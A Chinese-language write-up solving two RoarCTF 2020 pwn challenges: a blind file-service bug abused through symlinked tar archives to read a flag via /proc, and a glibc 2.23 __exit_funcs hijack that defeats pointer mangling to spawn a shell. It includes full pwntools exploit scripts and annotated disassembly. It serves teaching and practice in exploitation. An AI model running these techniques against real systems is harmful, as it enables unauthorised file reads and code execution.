PWN盲打与保护全开的解题思路-ROARCTF 2020

  • A+
所属分类:逆向工程

题目一:qtnc

题目描述

这道题是一道盲打的题目,题目提供了7个功能

PWN盲打与保护全开的解题思路-ROARCTF 2020

  • h:帮助功能,可以查看题目提供的命令

  • s:会打印工作目录

  • u:可以上传文件

  • c:将文件打包

  • x:解压压缩包

  • r:读文件内容

  • q:退出与打印提示

并且题目给了一个附件

#!/bin/bash
cd /home/ctf
stdbuf -i 0 -o 0 -e 0 /usr/bin/timeout 90 ./qtar

题目分析

首先输入q,查看题目给的提示,可以看到的是题目输出一段文字,并提示flag就在其中,猜测这段文字中又不可见字符,将这段文字复制粘贴到记事本中

PWN盲打与保护全开的解题思路-ROARCTF 2020

可以看到,题目提示,flag的路径在/home/ctf/flag,那么如果我们能读取该目录下flag即可

PWN盲打与保护全开的解题思路-ROARCTF 2020

经过尝试,在输入路径的时候,/home是被过滤的,因此我们不能通过输入/home/ctf/flag去读文件,但是程序存在着一个漏洞,当我们打包压缩一个文件时是可以重新命名的,但是程序不会检测你的命名是否有重名的文件,那么会造成重名文件会覆盖掉原来的文件

漏洞利用

  • 由于重名文件可以覆盖掉原来的文件,因此造成可以解压一个文件两次。

  • 采用对软连接进行压缩上传,利用漏洞解压两次,从而释放软连接,进行任意文件读,但是题目过滤了/home,因此不能直接读取/home/ctf/flag的内容

  • 采取读取/proc/self/status获取父进程PPid,从而绕过/home/ctf,再利用/proc/[pid]/cwd/flag,读取/home/ctf/flag的内容

exp

#coding:utf8
from pwn import *
import os
sh = remote("127.0.0.1",9998)
def upload(content):
sh.sendlineafter(">","u")
sh.sendlineafter("Content:",content)
sh.recvuntil("/tmp/")
return sh.recvuntil("'",drop=True)

def compose(filename,name=''):
sh.sendlineafter(">","c")
sh.sendlineafter("/tmp/",filename)
if name == '':
sh.sendlineafter("file? [y/N]",'N')
else:
sh.sendlineafter("file? [y/N]",'y')
sh.sendlineafter("cname: ",name)
sh.recvuntil("ed as', '")
return sh.recvuntil("'",drop=True)
def extract(filename):
sh.sendlineafter(">","x")
sh.sendlineafter("Filename: ",filename)
def read(filename):
sh.sendlineafter(">","r")
sh.sendlineafter("Filename: ",filename)
def crash(filename):
os.popen("rm get")
os.popen("ln -s "+filename+" get")#建立软连接
os.popen("tar -cvpf get.tar get")#将软连接打包
read_file = open("get.tar","rb")
content = read_file.read()
read_file.close()
tar = upload(content)#上传软连接压缩包
print 'tar:'+tar
replace = upload("aaaa")#准备替换重名文件
print 'replace:'+replace
replace_name = compose(replace)
target = compose(tar,replace_name)
extract(target)
extract(replace_name)
compose(tar,'get')#释放软连接
read('get')#cat /proc/self/status or cat /proc/ppid/cwd/flag
crash('/proc/self/status')
sh.recvuntil("PPid:")
ppid = sh.recvuntil("n",drop=True)
print 'ppid:'+ppid
crash('/proc/'+ppid.strip()+'/cwd/flag')
sh.interactive()

补充资料

Linux /proc/pid

/proc/pid/cmdline    用于开始进程的命令    

/proc/pid/cwd   当前进程工作目录的一个链接    

/proc/pid/environ    可用进程环境变量的列表    

/proc/pid/exe    正在进程中运行的程序链接

/proc/pid/fd/    这个目录包含了进程打开的每一个文件的链接

/proc/pid/mem    进程在内存中的内容

/proc/pid/stat   进程的状态信息

/proc/pid/statm    进程的内存使用信息。

软连接(符号连接)

ln -s old.file soft.linkln -s old.dir soft.link.dir

题目二:2+1

题目描述

保护全开

PWN盲打与保护全开的解题思路-ROARCTF 2020

题目提供了libc基地址,并且可以提供读写功能,即程序存在任意地址读写的漏洞,查阅发现为libc2.23

PWN盲打与保护全开的解题思路-ROARCTF 2020

题目分析

题目的符号被去除,但是能还原一些基本的函数,可以看到与猜测一样,程序存在任意地址读写的漏洞,可以读写一次

PWN盲打与保护全开的解题思路-ROARCTF 2020

经过调试发现,程序把我们输入的内容保存在堆空间中,然后再往任意地址填写堆的地址,因此直接的任意地址写不能够引用,我们需要找到能够找到能间接调用的函数。
这里我拿malloc_hook作为例子,假设我们任意地址写的地址填的是malloc_hook的地址,会发现malloc_hook里填入的是堆块的地址,而该堆块的内容为我们输入的内容。

PWN盲打与保护全开的解题思路-ROARCTF 2020

调试过程

首先将我们输入堆块地址填入到__exit_funcs中,可以发现后面的调用会将__exit_funcs作为参数

PWN盲打与保护全开的解题思路-ROARCTF 2020

接着会取出我们在堆块输入的内容,即判断exit_funcs的内容是否为空,不为空则堆内容进行引用
接着需要绕过跳转,绕过这个跳转后面会执行我们输入的内容
   #此时r13存放是我们输入内容的堆块
► 0x7f4eec861f40 <__run_exit_handlers+32>   mov    rax, qword ptr [r13 + 8]
  0x7f4eec861f44 <__run_exit_handlers+36>   mov    rdx, rax
  #对我们输入的数字进行扩大0x20倍处理
  0x7f4eec861f47 <__run_exit_handlers+39>   shl    rdx, 5
  #由于需要绕过跳转,因此rax的值不能为0即可,rax存放在[r13+8],即[heap+8]不能为0
  0x7f4eec861f4b <__run_exit_handlers+43>   test   rax, rax
  #接着取[heap+rdx-0x10]的地址,rdx的值为[heap+8]的值*0x20
  0x7f4eec861f4e <__run_exit_handlers+46>   lea    rcx, [r13 + rdx - 0x10]
  0x7f4eec861f53 <__run_exit_handlers+51>   je     __run_exit_handlers+95 <0x7f4eec861f7f>
接着会遇到三个分支跳转

分支一

 0x7f5330426f55 <__run_exit_handlers+53>    sub    rax, 1
  0x7f5330426f59 <__run_exit_handlers+57>   mov   qword ptr [r13 + 8], rax
  #[rcx]为[heap+rdx-0x10]的值,rdx为[heap+0x8]的值*0x20,因此[rcx]是我们所能控制的,只要我们设置[heap+0x8]为1,则rdx的值则为[heap+0x10]
  0x7f5330426f5d <__run_exit_handlers+61>   mov    rdx, qword ptr [rcx]
  0x7f5330426f60 <__run_exit_handlers+64>   cmp    rdx, 3
  0x7f5330426f64 <__run_exit_handlers+68>   je     __run_exit_handlers+240 <0x7f5330427010>

PWN盲打与保护全开的解题思路-ROARCTF 2020

可以看到分支一可以直接调用heap+0x18的值,即我们输入位置偏移0x18的值,因此往这个位置填入one_gadget也可以直接执行。但是因为只调用了rax,并没有传参的操作,因此这个分支只能用于one_gadget
  #此时rax值为0
► 0x7f1697259010 <__run_exit_handlers+240>   shl    rax, 5
  #r13为堆块地址,即将[heap+0x18]放置到rax
  0x7f1697259014 <__run_exit_handlers+244>   mov    rax, qword ptr [r13 + rax + 0x18]
  #将rax循环右移0x11
  0x7f1697259019 <__run_exit_handlers+249>   ror    rax, 0x11
  #取出fs:[0x30]的值,对循环右移的结果进行异或
  0x7f169725901d <__run_exit_handlers+253>   xor    rax, qword ptr fs:[0x30]
  #直接调用rax
  0x7f1697259026 <__run_exit_handlers+262>   call   rax
 

分支二

可以看到分支二对比分支一的优势,我们同样可以直接调用输入的内容,但是可以传递第一个参数,rdi也是为我们所控制的,因此可以构造system("/binsh")
   0x7efed349bf6a <__run_exit_handlers+74>     cmp    rdx, 4
  0x7efed349bf6e <__run_exit_handlers+78>     je     __run_exit_handlers+200
  #此时rax只为0
  0x7efed349bfe8 <__run_exit_handlers+200>   shl    rax, 5
  0x7efed349bfec <__run_exit_handlers+204>   mov    esi, ebx
  #r13为堆块的地址
  0x7efed349bfee <__run_exit_handlers+206>   add    rax, r13
  #rdx为[heap+0x18]
  #rdi为[heap+0x20]
► 0x7efed349bff1 <__run_exit_handlers+209>   mov    rdx, qword ptr [rax + 0x18]
  0x7efed349bff5 <__run_exit_handlers+213>   mov    rdi, qword ptr [rax + 0x20]
  #与分支一操作一致,都是循环有异后异或
  0x7efed349bff9 <__run_exit_handlers+217>   ror    rdx, 0x11
  0x7efed349bffd <__run_exit_handlers+221>   xor    rdx, qword ptr fs:[0x30]
  0x7efed349c006 <__run_exit_handlers+230>   call   rdx

分支三

分支三同样可以控制参数的值,但是只能控制第二个参数,因为控制的寄存器为rsi
► 0x7fa257b2ff70 <__run_exit_handlers+80>     cmp    rdx, 2
  0x7fa257b2ff74 <__run_exit_handlers+84>     je     __run_exit_handlers+160 <0x7fa257b2ffc0>
  #此时rax值为0
  0x7fa257b2ffc0 <__run_exit_handlers+160>   shl    rax, 5
  0x7fa257b2ffc4 <__run_exit_handlers+164>   mov    edi, ebx
  #r13为堆块地址
  0x7fa257b2ffc6 <__run_exit_handlers+166>   add    rax, r13
  #rdx为[heap+0x18]
  #rsi为[heap+0x20]
► 0x7fa257b2ffc9 <__run_exit_handlers+169>   mov    rdx, qword ptr [rax + 0x18]
  0x7fa257b2ffcd <__run_exit_handlers+173>   mov    rsi, qword ptr [rax + 0x20]
  #与分支一操作一致,都是循环有异后异或
  0x7fa257b2ffd1 <__run_exit_handlers+177>   ror    rdx, 0x11
  0x7fa257b2ffd5 <__run_exit_handlers+181>   xor    rdx, qword ptr fs:[0x30]
  0x7fa257b2ffde <__run_exit_handlers+190>   call   rdx

漏洞利用

  • 程序存在任意地址读写的漏洞,但是写入时是先将堆块地址写入到我们填入的地址中,因此想要引用我们写入的内容,需要找到两次引用的gadget

  • 经过调试发现在exit内部存在着_exit_funcs,当_exit_funcs不为空时,并满足一些条件时,会调用_exit_funcs的内容。

  • 接着绕过条件,从而能够达到分支二,从而调用我们输入的内容。

  • 这里需要知道fs寄存器的地址,在pwndbg中使用fsbase命令可以知道tls结构体的位置

  • 接着将system函数的地址先循环左移0x11再异或随机值即可

exp

#coding:utf8
from pwn import *
libc = ELF("libc.so.6")
sh = process("./2+1")
#循环右移
def ROL(addr, offset):
    data = 0xffffffffffffffff&addr
    data = (0xffffffffffffffff&(data>>(64-offset))) | 0xffffffffffffffff&((data<<offset))
    return data
sh.recvuntil("Gift: ")
addr = int(sh.recv(14),16)
print 'addr:'+hex(addr)
libc_base = addr - 0xcc280
print 'libc_base:'+hex(libc_base)
exit_fun = libc_base + 0x3c45f8
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search("/bin/sh"))
sh.recvuntil("to read?:")
#fsbase
sh.send(p64(libc_base+0x5d5730))
sh.recvuntil("data: ")
#fs:[0x30]里的值
cookie = u64(sh.recv(8))
print 'cookie:'+hex(cookie)    
gdb.attach(sh,"b *$rebase(0x1341)")
sh.recvuntil("to write?:")
#_exit_funcs函数地址
sh.send(p64(exit_fun))
sh.recvuntil("msg: ")
one_gadget = libc_base + 0xf1207
#利用分支二调用system("/bin/sh")
payload = p64(0)+p64(1)+p64(4)+p64(ROL((system^cookie),0x11))+p64(binsh)
#利用分支一调用one_gadget发现不满足
#payload = p64(0)+p64(1)+p64(3)+p64(ROL(one_gadget^cookie,0x11))
sh.send(payload)
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
sh.interactive()

参考

  • 星盟WP

  • http://taqini.space/2020/12/07/roarctf2020-2taqini-pwn-wp/#qtar

  • https://blog.csdn.net/fybon/article/details/79799446

  • https://www.linuxprobe.com/soft-hard-links-comments.html

  • https://blog.csdn.net/kang___xi/article/details/80545510


本文始发于微信公众号(山石网科安全技术研究院):PWN盲打与保护全开的解题思路-ROARCTF 2020

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: